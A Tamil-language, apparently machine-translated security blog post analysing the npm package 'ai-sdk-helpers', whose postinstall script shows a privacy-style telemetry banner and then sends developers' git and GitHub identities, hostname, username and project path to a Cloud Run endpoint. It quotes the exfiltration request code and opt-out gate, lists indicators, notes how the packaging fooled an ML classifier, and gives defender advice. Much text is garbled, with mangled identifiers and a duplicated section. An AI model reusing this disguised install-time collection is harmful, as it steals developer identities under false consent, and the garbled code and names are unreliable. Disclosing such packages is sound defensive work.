ConsentMask டெவலப்பர் அடையாளத்தை மறைக்கும் npm தொகுப்பு

ConsentMask: டெவலப்பர் அடையாளச் சேகரிப்பின் மீது டெலிமெட்ரி ஒப்புதல் பதாகையை அணிந்துகொள்ளும் ஒரு npm தொகுப்பு.

பொருளடக்கம்

கட்டாயம் படிக்க வேண்டிய பதிவுகள்

சமீபத்திய சுவாரஸ்யமான பதிவு

டிஎல்; DR

ஒற்றை npm தொகுப்பு, ai-sdk-helpersஇது, Vercel AI SDK-க்கான ஒரு தயாரிப்புக் கருவித்தொகுப்பாகத் தன்னை முன்வைக்கிறது, மேலும் செலவுக் கண்காணிப்பு, வழங்குநர் காப்புறுதி மற்றும் ஸ்ட்ரீமிங் உதவியாளர்களை வழங்குகிறது.

அதன் நிறுவல் நேர ஸ்கிரிப்ட், விவரிக்கும் ஒரு நேர்த்தியான வெளிப்படுத்தல் பேனருடன் திறக்கிறது. அநாமதேய நோயறிதல்எந்த மூலக் குறியீடு, டோக்கன்கள் அல்லது நற்சான்றிதழ்கள் அனுப்பப்படாது என்று உறுதியளித்து, ஒரு DO_NOT_TRACK விலகல் விருப்பம், மற்றும் தொலை அளவீட்டுக் கொள்கைப் பக்கத்திற்கான இணைப்பு.

பின்னர் அதே ஸ்கிரிப்ட், டெவலப்பரின் கிட் அடையாளம், கிட்ஹப் CLI கட்டமைப்பு, இயந்திரத்தின் ஹோஸ்ட்பெயர், OS பயனர்பெயர், பணிபுரியும் கோப்பகம் மற்றும் CI வழங்குநர் ஆகியவற்றை வாசிக்கிறது.

அந்தத் தரவு, கூகிள் கிளவுட் ரன் எண்ட்பாயிண்ட்டிற்கு JSON வடிவத்தில் POST செய்யப்படுவதால், கூறப்பட்ட டெலிமெட்ரி கொள்கைக்கும் உண்மையில் சேகரிக்கப்பட்ட புலங்களுக்கும் இடையே ஒரு தெளிவான பொருத்தமின்மை ஏற்படுகிறது.

இந்தத் தொகுப்பு, ஒரே 83 வினாடி காலப்பகுதியில் இருபத்தி இரண்டு பதிப்புகளில் வெளியிடப்பட்டது, மேலும் குறியிடப்பட்ட ஒவ்வொரு பதிப்பிலும் நிறுவல் ஸ்கிரிப்ட் பைட்டுக்கு பைட் ஒரே மாதிரியாக உள்ளது.

எங்களால் மதிப்பாய்வு செய்யப்பட்ட எட்டு பதிப்புகளில் ஏழு pipeline ஒப்புதல்-பதாகையின் வடிவமைப்பு முறையான டெலிமெட்ரி போலத் தோற்றமளிப்பதால், ML வகைப்படுத்தியால் அவை முடிவற்றவை என மதிப்பிடப்பட்டன.

நாங்கள் வகைப்படுத்துகிறோம் ai-sdk-helpers நிறுவலின் போது டெவலப்பரின் அடையாளம் சேகரிக்கப்பட்டு கசியவிடப்படுவதன் அடிப்படையில் தீங்கிழைக்கும் தன்மையுடையதாகக் கருதப்படுகிறது.

தீவிரம்: அதிகம்.

 நிறுவலின் உடற்கூறியல்

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

நிறுவிய பின் தானாகவே இயங்குகிறது npm நிறுவுதொகுப்பின் விளம்பரப்படுத்தப்பட்ட குறியீடு எதுவும் இறக்குமதி செய்யப்படுவதற்கு முன்பே. ஸ்கிரிப்ட் scripts/postinstall.js நிறுவலின் போது நிகழும் அனைத்து செயல்பாடுகளும் இங்குதான் அடங்கியுள்ளன.

இது, தனியுரிமையில் அக்கறை கொண்ட ஒரு திறந்த மூலத் திட்டத்தின் நடையில் எழுதப்பட்ட ஒரு கருத்துப் பகுதி மற்றும் இயக்க நேர அறிவிப்புடன் தொடங்குகிறது:

நீங்கள் ai-sdk-helpers-ஐ நிறுவும்போது, ​​நாங்கள் ஒரு விரைவான சூழல் இணக்கத்தன்மைச் சோதனையை நடத்தி, பெயர் குறிப்பிடப்படாத கண்டறிதல் அறிக்கைகளைத் தருகிறோம்… இந்தத் தரவு முற்றிலும் பெயர் குறிப்பிடப்படாதது — நாங்கள் உங்கள் இயங்குதளம், நோட் பதிப்பு மற்றும் உங்கள் கணினி அடையாளங்காட்டியின் ஒருவழி ஹாஷ் ஆகியவற்றைச் சேகரிக்கிறோம். மூலக் குறியீடு, டோக்கன்கள் அல்லது நற்சான்றிதழ்கள் எதுவும் ஒருபோதும் அனுப்பப்படுவதில்லை.

இது, கோப்பில் உள்ள முதல் இயக்கக்கூடிய நிரலான, செயல்படும் விலகல் தடுப்பையும் இணைக்கிறது:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

முதலில் இந்தக் கதவைப் பூட்டுவதுதான், மற்றவை சம்மதத்துடன் நடந்ததாகத் தோன்ற வைக்கிறது: இதை அமைக்கும் ஒரு கட்டுமான நிறுவனம் `D`_கண்காணிக்கவில்லை` நிறுவல் அமைதியாக நிறைவடைவதை உறுதிசெய்து, தொகுப்பு அந்த மரபைப் பின்பற்றுகிறது என முடிவு செய்கிறது. மதிக்கப்படும் இந்த விலகல் விருப்பம் உண்மையானது. இதை அமைக்காத அனைவருக்கும் இது தடுப்பது, கீழே விவரிக்கப்பட்டுள்ள தொகுப்புதான் — அறிவிப்பில் குறிப்பிடப்பட்டுள்ள குறுகிய “தளம், நோட் பதிப்பு, மற்றும் ஒருவழி ஹாஷ்” என்பதல்ல.

அந்த வாயிலுக்குக் கீழே, அந்த ஸ்கிரிப்ட், அந்த விளக்கத்தையும் வெகுவாக மீறிய ஒரு தரவுச் சுமையை ஒருங்கிணைக்கிறது.

  • *Gt அடையாளம்.* rதீர்க்கScmஅடையாளம்()` தலைகள் `~`.gitconfig`,`~`.config/git/config`,மற்றும் தற்போதைய திட்டத்தின் `.`it/config`,`[` ஐப் பகுப்பாய்வு செய்கிறதுser]` பிரிவு, மற்றும் கட்டமைக்கப்பட்டதை வழங்குகிறது. commit மின்னஞ்சல். எந்த உள்ளமைவு கோப்பும் மின்னஞ்சலை வழங்கவில்லை என்றால், அது `G` க்கு மாறும்.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,மற்றும் `EAIL` சூழல் மாறிகள். செயல்பாட்டிற்கு மேலே உள்ள ஒரு டாக்ஸ்ட்ரிங், "ஒரே நபருக்குச் சொந்தமான கணினிகளில் (எ.கா. லேப்டாப் + CI) நிறுவல்களை நகல் நீக்கம் செய்வதற்கான" ஒரு வழியாக இந்த வாசிப்பை வடிவமைக்கிறது — இது ஒரு நிலையான டெவலப்பர் வாரியான அடையாளங்காட்டி தேவைப்படும் ஒரு கூறப்பட்ட நோக்கமாகும். commit மின்னஞ்சல் வழங்கல்கள்.
  • *GtHub கணக்கு.* r`solveGitHubIdentity()` தலைகள் `~.config/gh/hosts.yml` மற்றும் `~`.config/gh/hosts.yaml` ஒரு டெவலப்பர் அங்கீகரிக்கும்போது GitHub CLI-ஆல் எழுதப்படும் உள்ளமைவு கோப்பு — மற்றும் `u`-ஐ ரெஜெக்ஸ் மூலம் பிரித்தெடுக்கிறது.ர்:` மற்றும் `இAIL:` அந்தக் கோப்பு GitHub OAuth டோக்கனையும் சேமிக்கிறது; ஸ்கிரிப்டின் ரெகுலர் எக்ஸ்பிரஷன் (regex) குறிப்பாகப் பயனர்பெயர் மற்றும் மின்னஞ்சல் வரிகளை மட்டுமே குறிவைக்கிறது, மேலும் டோக்கனைப் பிரித்தெடுப்பதில்லை. எனவே, வெளிப்படுத்தல் பேனரின் “டோக்கன்கள் எதுவும்… ஒருபோதும் அனுப்பப்படுவதில்லை” என்ற கூற்று, அந்த ஒரு புலத்திற்கு மட்டுமே அச்சு அசலாக உண்மையாக இருக்கிறது, அதே சமயம் சுற்றியுள்ள கணக்கு அடையாளங்காட்டிகள் படிக்கப்பட்டு அனுப்பப்படுகின்றன.
  • *Hst மற்றும் CI கைரேகை.* பின்னர் ஸ்கிரிப்ட் `o` ஐ சேகரிக்கிறது`.hostname()`,`o`.userInfo().username`,நோட் பதிப்பு, தளம் மற்றும் கட்டமைப்பு, `p`செயல்முறை.cwd()`,மேலும், எட்டு வழங்குநர்களுக்கான (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, மற்றும் இரண்டு பொதுவான-CI கொடிகள்) சூழல் மாறிகளைச் சரிபார்ப்பதன் மூலம் ஒரு CI-வழங்குநர் லேபிள் தீர்க்கப்பட்டது. அந்த வழங்குநர் பட்டியல், ஸ்கிரிப்ட் எங்கு இயங்க எதிர்பார்க்கிறது என்பதற்கான ஒரு சரக்காக உள்ளது — அதாவது ஊடாடும் ஷெல்கள் மற்றும் தானியங்கு உருவாக்கம். pipelineகள் ஒரே மாதிரியானவை.

இவை அனைத்தும் ஒரே `d`-க்குள் தொகுக்கப்பட்டுள்ளன.அக்னாஸ்டிக்குகள் ஒரு `i` இன் கீழ் சேகரிக்கப்பட்ட டெவலப்பர் வாரியான புலங்களைக் கொண்ட பொருள்.நிறுவனம்` `r` இன் கீழ் உள்ள ey மற்றும் ஹோஸ்ட் தரவுநேரம்` மற்றும் `சிஉரை` பின்னர், தொடராக்கம் செய்யப்பட்டு அனுப்பப்பட்டது:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

பதில் நிராகரிக்கப்பட்டு, அனைத்துப் பிழைகளும் மறைக்கப்படுகின்றன — “டெலிமெட்ரி ஒருபோதும் நிறுவலைச் சீர்குலைக்கக் கூடாது” என்று ஒரு குறிப்பு குறிப்பிடுகிறது. எண்ட்பாயிண்ட் ஹோஸ்ட்பெயர், கூகிள் கிளவுட் ரன் சேவையை `e` குறியீட்டில் குறியாக்கம் செய்கிறது.கயிறு-மேற்கு1` எஜியன்.

இடைவெளிதான் கதை. அந்த பேனர், பிளாட்ஃபார்ம், நோட் பதிப்பு, இயந்திர அடையாள ஹாஷ் ஆகிய மூன்று தரவு வகைகளைக் குறிப்பிடுகிறது. அந்த பேலோட் ஒரு டெவலப்பரின் உண்மையான கிட்-ஐ அனுப்புகிறது. commit மின்னஞ்சல், அவர்களின் GitHub பயனர்பெயர் மற்றும் மின்னஞ்சல், அவர்களின் கணினி ஹோஸ்ட்பெயர் மற்றும் OS கணக்குப்பெயர், அவர்களின் திட்டப் பாதை மற்றும் அவர்களின் CI சூழல். ஒரு *p ஐ அடையாளம் காணும் புலங்கள்நபர் மற்றும் அவர்களின் கணக்குகள்* வெளிப்படுத்தலில் விடுபட்ட புலங்கள் அவை.

README மறுபக்கக் கட்டமைப்பை வலுப்படுத்துகிறது. அதன் “டெலிமெட்ரி” பிரிவு, பெயர் மறைப்பு கூற்றை மீண்டும் கூறி, ‘D’ என்ற வார்த்தையை இணைக்கிறது.`_கண்காணிக்கவில்லை` ஓ `சிnsoledonottrack.com`,விலகல் மரபை ஆவணப்படுத்தும் உண்மையான சமூகப் பக்கம் — அங்கீகரிக்கப்பட்ட தனியுரிமையைப் பின்பற்றுகிறது standard அந்த அறிவிப்பை ஒரு வழக்கமான விஷயமாகக் காட்டுவதற்கு.

காலக்கெடு

இது மிகக் குறுகிய, ஆனால் மிகவும் செறிவான வெளியீட்டு வரலாற்றைக் கொண்ட, ஒரே தொகுப்பாகக் கண்டறியப்பட்ட ஒன்றாகும். பின்தொடர்வதற்குப் பல வார கால பிரச்சாரத் தொடர் எதுவும் இல்லை — முழுப் பதிப்பு வரிசையும் இயந்திர வேகத்தில் வெளியிடப்பட்டது.

எப்போது (UTC) நிகழ்வு
2026-06-03 20:31:20 முதல் பதிப்பு (0.1.0npm-இல் வெளியிடப்பட்டது.
2026-06-03 20:31:20 – 20:32:43 அனைத்து 22 பதிப்புகளும் (0.1.0 மூலம் 1.4.283 வினாடி தானியங்கித் தொடரில் வெளியிடப்பட்டது.
2026-06-04 கண்டறிதல் சமிக்ஞைகளால் எட்டு பதிப்புகள் சுட்டிக்காட்டப்பட்டன; நிறுவலின் போதே அடையாளச் சேகரிப்பும் தரவுக் கசிவும் நடைபெறுவதை கைமுறை பகுப்பாய்வு உறுதி செய்கிறது. பகுப்பாய்வு செய்யப்பட்ட நேரத்தில், இந்தத் தொகுப்பு npm-இல் இயங்கு நிலையில் இருந்தது.

22 சொற்பொருள் பதிப்புகளுக்கு இடையிலான 83-வினாடி கால இடைவெளியே ஒரு நடத்தை குறிகாட்டியாகும்: பதிப்பு ஏணி (`01.0`,`01.1`,… `14.2`)ஒரே ஸ்கிரிப்ட் இயக்கத்தில் உருவாக்கப்பட்ட, வெளியீட்டு வரலாற்றைக் கொண்ட, தீவிரமாகப் பராமரிக்கப்படும் ஒரு திட்டத்தின் மேற்பரப்பை இது வழங்குகிறது. அந்தப் படிநிலைகள் முழுவதும் நிறுவல் ஸ்கிரிப்ட் மாறாது — கீழே காண்க.

சமரசத்தின் குறிகாட்டிகள்

நிறுவப்பட்ட நேரத்திலான தரவுக் கோப்பு, வெளியிடப்பட்ட பதிப்புகளின் வரிசை முழுவதும் ஒரே மாதிரியாக உள்ளது.ff` f `sripts/postinstall.js` ட்வீன் பதிப்பு `02.1` மற்றும் பதிப்பு `14.2` இது எந்த வேறுபாடுகளையும் காட்டாது; இதன் செயல்பாடு ஒரு நிலையான கைரேகையைப் போன்றது, மாறிவரும் தரவுச் சுமையைப் போன்றது அல்ல.

பிணையம்

22 சொற்பொருள் பதிப்புகளுக்கு இடையிலான 83-வினாடி கால இடைவெளியே ஒரு நடத்தை குறிகாட்டியாகும்: பதிப்பு ஏணி (`01.0`,`01.1`,… `14.2`)ஒரே ஸ்கிரிப்ட் இயக்கத்தில் உருவாக்கப்பட்ட, வெளியீட்டு வரலாற்றைக் கொண்ட, தீவிரமாகப் பராமரிக்கப்படும் ஒரு திட்டத்தின் மேற்பரப்பை இது வழங்குகிறது. அந்தப் படிநிலைகள் முழுவதும் நிறுவல் ஸ்கிரிப்ட் மாறாது — கீழே காண்க.

சமரசத்தின் குறிகாட்டிகள்

நிறுவப்பட்ட நேரத்திலான தரவுக் கோப்பு, வெளியிடப்பட்ட பதிப்புகளின் வரிசை முழுவதும் ஒரே மாதிரியாக உள்ளது.ff` f `sripts/postinstall.js` ட்வீன் பதிப்பு `02.1` மற்றும் பதிப்பு `14.2` இது எந்த வேறுபாடுகளையும் காட்டாது; இதன் செயல்பாடு ஒரு நிலையான கைரேகையைப் போன்றது, மாறிவரும் தரவுச் சுமையைப் போன்றது அல்ல.

பிணையம்

காட்டி செயல்பங்கு
npm-package-logger-228835561205.europe-west1.run.app JSON பேலோடுகளுடன் கூடிய HTTPS POST கோரிக்கைகளைப் பெறும் தரவு கசிவு முனையம். கூகிள் கிளவுடில் ஹோஸ்ட் செய்யப்பட்டு இயக்கப்படுகிறது. europe-west1 பிராந்தியம்.

ஏமாற்று உள்கட்டமைப்பு

காட்டி செயல்பங்கு
ai-sdk.guide "AI SDK Guide" ஆசிரியர் அடையாளத்தை ஆதரிக்கும் முகப்புப் பக்கம் மற்றும் நேரலைத் தளம்.
ai-sdk.guide/telemetry நிறுவலின் போது வெளியிடப்பட்ட அறிவிப்பில் குறிப்பிடப்பட்டுள்ள டெலிமெட்ரி கொள்கை URL.
hello@ai-sdk.guide ஆசிரியர் மின்னஞ்சல் இதில் அறிவிக்கப்பட்டுள்ளது package.json.
github.com/ai-sdk-guide/ai-sdk-helpers தொகுப்பால் அறிவிக்கப்பட்ட மூலக் களஞ்சியம்.

நிறுவலின் போது படிக்கப்படும் கோப்புகள்

  • -`.gitconfig`,`~`.config/git/config`,`<wd>/.git/config` கிட் `[ser]` மெயில்
  • - `.config/gh/hosts.yml`,`~`.config/gh/hosts.yaml` GitHub CLI `uர்` `eail`

நடத்தை கையொப்பங்கள்

  • – எம் `பிநிறுவு தொகுக்கப்பட்ட நோட் ஸ்கிரிப்டை அழைக்கும்
  • – விலகல் வாயில் (`A`_SDK_HELPERS_TELEMETRY_DISABLED`,`D_கண்காணிக்கவில்லை`)அடையாளச் சேகரிப்புக்கு முன்னதாக, தனியுரிமை அம்சமாக வழங்கப்படுகிறது.
  • – git email, GitHub identity, hostname, OS username, cwd, மற்றும் CI label ஆகியவற்றை உள்ளடக்கிய ஒரு JSON ஆப்ஜெக்ட்டின் tbound HTTPS POST.
  • – விரைவாக வெளியிடப்படும் பதிப்பு வரிசை முழுவதும் ஒரே மாதிரியான நிறுவல் ஸ்கிரிப்ட்

 காரணம் கற்பித்தல் மற்றும் கவனிக்கப்பட்ட நடத்தை
தொகுப்பு மற்றும் பதிவக மெட்டாடேட்டாவில் பதிவுசெய்யப்பட்டதைத் தவிர வேறு எதையும் நாங்கள் காரணமாகக் கூறவில்லை.

npm-இன் அதிகாரப்பூர்வ பராமரிப்பாளர் `a` என்ற கணக்கு ஆகும்.ஐயல்சைமன்`,முகவரியுடன் `aiel@vigilance.security`.பதிவகம் அந்த மின்னஞ்சலைச் சரிபார்க்கப்படாததாகவும், கணக்கின் மூலக் கட்டுப்பாட்டு அடையாளத்தைச் சரிபார்க்கப்படாததாகவும் பட்டியலிடுகிறது.`ckage.json`,தனித்தனியாக, ஆசிரியரை “AI SDK வழிகாட்டி” என்று குறிப்பிடுகிறது.ello@ai-sdk.guide>`”`a` முகப்புப் பக்கத்துடன்-sdk.guide` மற்றும் `g` இன் கீழ் ஒரு மூலக் களஞ்சியம்`thub.com/ai-sdk-guide` அமைப்பு. வெளியிடும் கணக்கின் மின்னஞ்சல் டொமைன் (`vigilance.security`)மற்றும் தொகுப்பினுள் உள்ள ஆசிரியர் அடையாளம் (`a-sdk.guide`)வெவ்வேறு களங்கள்.

அந்த `அ-sdk.guide` அது இயங்குகிறது மற்றும் பதிலளிக்கிறது, மேலும் `/மின் அளவியல் ath தீர்வுகளின்படி, அந்தப் போலி அடையாளம் செயலிழந்த இணைப்பிற்குப் பதிலாக அணுகக்கூடிய இணைய இருப்பால் ஆதரிக்கப்படுவதால், அந்தத் தொகுப்பின் கட்டமைப்பின் நம்பகத்தன்மை அதிகரிக்கிறது.

**கவனிக்கப்பட்ட திறன்.** நிறுவும் நேரத்தில், இந்தத் தொகுப்பு, டெவலப்பரின் அடையாளம் மற்றும் கணக்கு உள்ளமைவு கோப்புகளைப் படித்து, ஹோஸ்ட் மற்றும் CI சூழலைக் கண்டறிந்து, அதன் முடிவை ஆபரேட்டரால் கட்டுப்படுத்தப்படும் ஒரு முனையத்திற்கு அனுப்புகிறது. அதே நேரத்தில், இது ஒரு குறுகிய மற்றும் அநாமதேயப்படுத்தப்பட்ட தரவுத் தொகுப்பை விவரிக்கும் அறிவிப்பையும் காட்டுகிறது. இந்த நடத்தையை நாங்கள் விவரிக்கிறோம்; இதற்கான நோக்கத்தை நாங்கள் வலியுறுத்தவில்லை. இந்தத் தொகுப்பை மதிப்பிடும் வாசகர்கள் — வெளியிடும் அடையாளத்தை அடையாளம் காணும் எந்தவொரு தரப்பினரும் உட்பட — கூறப்பட்ட மற்றும் உண்மையான தரவுப் பாய்வுகளுக்கு இடையே காணக்கூடிய பொருத்தமின்மையை சீர்தூக்கிப் பார்க்க வேண்டும்.

பாதுகாவலர்களுக்கான தாக்கம், போக்குகள் மற்றும் வழிகாட்டுதல்

யார் பாதிக்கப்பட்டுள்ளார். நிறுவும் எவரும் ai-sdk-helpers — நேரடியாகவோ அல்லது ஒரு கடப்புச் சார்பாகவோ — அந்த இயந்திரத்தில் தொகுப்பை இயக்குகிறது. ஏனெனில் தூண்டல் என்பது நிறுவிய பின்தரவுப் பாய்வு நிகழ்வதற்கு, விளம்பரப்படுத்தப்பட்ட லைப்ரரி குறியீட்டை இறக்குமதி செய்ய வேண்டிய அவசியமே இல்லை; நிறுவுதல் மட்டுமே போதுமானது. கட்டமைக்கப்பட்ட கிட் அடையாளம் மற்றும் அங்கீகரிக்கப்பட்ட கிட்ஹப் CLI கொண்ட டெவலப்பர் பணிநிலையங்கள், மற்றும் CI ரன்னர்கள் ஆகியவை மிக உயர்ந்த மதிப்புள்ள சூழல்களாகும், அங்கு ஸ்கிரிப்ட்டின் CI-ப்ரொவைடர் கண்டறிதல், அந்த கலெக்ஷன் பில்டுக்குள் இயங்கும் என்று எதிர்பார்க்கப்படுவதைக் குறிக்கிறது. pipelineமற்றும் மடிக்கணினிகளிலும்.

அது எதை அம்பலப்படுத்துகிறது. பொதுவான நேர்வில் பயன்பாட்டு இரகசியங்கள் அல்ல — தரவுச் சுமை இதன் மீது மையமாக உள்ளது அடையாள: டெவலப்பரின் commit மின்னஞ்சல், அவர்களின் GitHub கணக்குப் பெயர் மற்றும் மின்னஞ்சல், கணினி மற்றும் கணக்குப் பெயர்கள், மற்றும் திட்டத்தின் பாதை. அது ஒரு முன்cisதொகுப்பை யார், எந்த இயந்திரத்தில், எந்தக் களஞ்சியத்தில், மற்றும் எந்த CI அமைப்பின் கீழ் நிறுவினார்கள் என்பதற்கான ஒரு வரைபடம். ஒரு நிறுவனத்தைப் பொறுத்தவரை, இதுபோன்ற ஒரு சில பதிவுகளை ஒன்றாகச் சேர்த்தால், எந்தப் பொறியாளர்கள் மற்றும் எந்த உருவாக்க அமைப்புகள் அந்தச் சார்புநிலையைப் பெற்றன என்பதைப் பட்டியலிட முடியும் — இந்தத் தொகுப்பின் செயல்பாடு சேகரித்தல் மற்றும் அனுப்புதலுடன் நின்றுவிடுகிறது என்றாலும், இது மேலும் இலக்கு வைக்கப்பட்ட தொடர் நடவடிக்கைகளுக்கு ஒரு முன்னோடியாகப் பயனுள்ளதாக இருக்கும்.

போக்கு: மறைப்பாக டெலிமெட்ரி. முறையான டெவலப்பர் கருவிகள், அடையாளம் மறைக்கப்பட்ட நிறுவல் கண்டறிதல் தரவுகளைச் சேகரிக்கின்றன, மேலும் அதை மரியாதையுடன் செய்வதற்கான மரபுகளும் உள்ளன — ஒரு வெளிப்படுத்தல் அறிவிப்பு, ஒரு கண்காணிக்க வேண்டாம் மரியாதை, விலகல் குறியீடு, கொள்கை URL போன்றவை நன்கு அறியப்பட்டவை. ai-sdk-helpers அந்த நான்கு மரபுகளையும் துல்லியமாகப் பின்பற்றி, அடையாளச் சேகரிப்பிற்கான ஒரு உறையாக அவற்றைப் பயன்படுத்துகிறது. ஒரு ஒப்புதல் பதாகை, செயல்படும் விலகல் விருப்பம், அல்லது தனியுரிமைக் கொள்கை இணைப்பு இருப்பது ஒரு தொகுப்பு நம்பகமானது என்பதற்குச் சான்று அல்ல; அந்தக் கட்டுப்பாடுகளைப் பின்பற்றுவது செலவு குறைவானது. அந்தக் குறியீடு உண்மையில் எதைப் படிக்கிறது, அதை எங்கு அனுப்புகிறது என்பது மட்டுமே நம்பகமான ஒரே சோதனையாகும்.

இந்த பேக்கேஜிங் தானியங்கி வகைப்படுத்தலிலும் அளவிடக்கூடிய விளைவைக் கொண்டுள்ளது. எங்கள் பதிப்புகள் முழுவதும் pipeline மதிப்பாய்வு செய்யப்பட்டதில், நிறுவல் ஸ்கிரிப்ட்டின் எளிய மொழி விளக்கக் குறிப்புகள், கட்டமைக்கப்பட்ட புலப் பெயர்கள் மற்றும் வழக்கமான விலகல் வாயில் ஆகியவை சாதாரண டெலிமெட்ரியாக மதிப்பிடப்பட்டன: எட்டில் ஏழு முடிவுகள் வந்தன. தெளிவற்றது இது தீங்கிழைக்கும் நோக்கத்திலிருந்து வருவதை விட, ML வகைப்படுத்தியிலிருந்து வருகிறது. தெளிவின்மையைத் தீர்க்கும் சமிக்ஞை உரைநடையில் இல்லை — அது ஸ்கிரிப்ட் திறக்கும் குறிப்பிட்ட கோப்புகளில் உள்ளது (~ / .gitconfig, ~/.config/gh/hosts.yml) மற்றும் அது அனுப்பும் இலக்கு. அந்த வெளிப்படுத்தலைப் படித்துவிட்டு அதோடு நிறுத்திக்கொள்ளும் ஒரு மதிப்பாய்வாளர், அவர் தானியங்கியாகவோ அல்லது மனிதராகவோ இருந்தாலும், தவறான முடிவுக்கு வருவார்; அந்தத் தீர்மானம் தரவுப் பாய்வு உண்மைகளிலிருந்துதான் வர வேண்டும்.

தடுப்பாட்டக்காரர்களுக்கான வழிகாட்டுதல்:

  • இயல்பாகவே ஸ்கிரிப்டுகள் முடக்கப்பட்ட நிலையில் நிறுவவும் — npm install –ignore-scriptsஅல்லது தொகுப்பு ignore-scripts=true in .npmrc . மேலும், சரிபார்க்கப்பட்ட உருவாக்கப் படிகளைத் தெளிவாக இயக்கவும். இது செயலிழக்கச் செய்கிறது. நிறுவிய பின்அனைத்து மட்டங்களிலும் சேகரிப்புகள் தூண்டப்பட்டன.
  • விலகல் கட்டுப்பாடுகளை நம்பிக்கை சமிக்ஞைகளாகக் கருத வேண்டாம். கண்காணிக்க வேண்டாம் கேட் அமைக்கப்படாதபோது ஒரு ஸ்கிரிப்ட் சேகரிக்கும் தரவைப் பற்றி, சரிபார்ப்பு அல்லது “டெலிமெட்ரி பாலிசி” இணைப்பு உங்களுக்கு எதையும் தெரிவிக்காது.
  • AI-சூழல் அமைப்பு உதவித் தொகுப்புகளைப் பயன்படுத்துவதற்கு முன், நிறுவல் இணைப்பைப் படிக்கவும். வெர்செல் AI SDK தளம் என்பது வேகமாக மாறிவரும், அதிக நம்பிக்கை கொண்ட ஒரு இலக்காகும்; நிறுவிய பின் அது தொடுகிறது ~ / .gitconfig or ~/.config/gh/ சுற்றியுள்ள கருத்துகள் எவ்வாறு எழுதப்பட்டிருந்தாலும், இது ஒரு தெளிவான சமிக்ஞையாகும்.
  • உருவாக்க நேர வெளியேற்றத்தைக் கண்காணிக்கவும். ஒரு வெளிச்செல்லும் HTTPS POST செயல்பாட்டின் போது npm நிறுவுகுறிப்பாக, புதிதாக வழங்கப்பட்ட கிளவுட்-ஃபங்ஷன் எண்ட்பாயிண்ட்டைப் பொறுத்தவரை, இது நெட்வொர்க் அடுக்கில் கண்காணிக்கக்கூடியதாக இருப்பதுடன், CI சூழல்களுக்கு ஒரு வலுவான கண்டறிதல் புள்ளியாகவும் விளங்குகிறது.
  • சுருக்கப்பட்ட பதிப்புப் படிநிலைகளைக் கவனியுங்கள். ஒரு தொகுப்பின் முழுமையான சொற்பொருள்-பதிப்பு வரலாறு சில நொடிகளில் தோன்றி, அதன் நிறுவல் ஸ்கிரிப்ட் மாறாமல் இருந்தால், அது ஒரு செயற்கையான பராமரிப்பு வரலாற்றை முன்வைக்கிறது.
sca-tools-software-composition-analysis-tools
உங்கள் மென்பொருள் அபாயங்களுக்கு முன்னுரிமை அளித்து, சரிசெய்து, பாதுகாக்கவும்.
உங்கள் இலவச கணக்கைப் பெறுங்கள்.
கடன் அட்டை தேவையில்லை.

உங்கள் மென்பொருள் உருவாக்கம் மற்றும் விநியோகத்தைப் பாதுகாக்கவும்

Xygeni தயாரிப்பு தொகுப்புடன்